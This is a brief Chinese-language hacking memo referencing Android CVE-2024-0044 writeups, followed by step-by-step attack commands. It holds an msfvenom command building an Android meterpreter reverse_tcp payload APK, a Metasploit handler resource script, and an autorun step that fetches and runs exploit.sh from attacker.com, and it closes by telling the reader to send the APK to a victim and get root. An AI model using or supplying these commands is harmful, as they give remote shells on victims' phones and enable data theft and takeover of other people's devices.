[
]
这只是一条备忘录，更多是为了进一步探索以下工作的可能性： https://rtx.meta.security/exploitation/2024/03/04/Android-run-as-forgery.html https://tinyhack.com/2024/06/07/extracting-whatsapp-database-or-any-app-data-from-android-12-13-using-cve-2024-0044/?s=03 https://www.mobile-hacker.com/2024/06/17/exfiltrate-sensitive-user-data-from-apps-on-android-12-and-13-using-cve-2024-0044-vulnerability/
最终我想要一个可自行执行的 exploit，但还是一步一步来吧……
msfvenom -p android/meterpreter/reverse_tcp LHOST=<attacker_ip> LPORT=<attacker_port> R > payload.apk
创建资源脚本 execute_script.rc 来自动执行这些命令：
use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set LHOST <attacker_ip>
set LPORT <attacker_port>
exploit -j
set AutoRunScript multi_console_command -rc /path/to/commands.rc
创建包含所需命令的资源脚本：
cd /data/local/tmp
wget http://attacker.com/exploit.sh -O exploit.sh
chmod +x exploit.sh
./exploit.sh
使用资源脚本启动 Metasploit：
msfconsole -r execute_script.rc
用以下命令开始搞事情：
msfconsole -r execute_script.rc
现在你的监听器/载荷投递已经配置好了... 把那个 payload.apk 发给受害者吧…… 宝贝，让我们去拿 root 吧。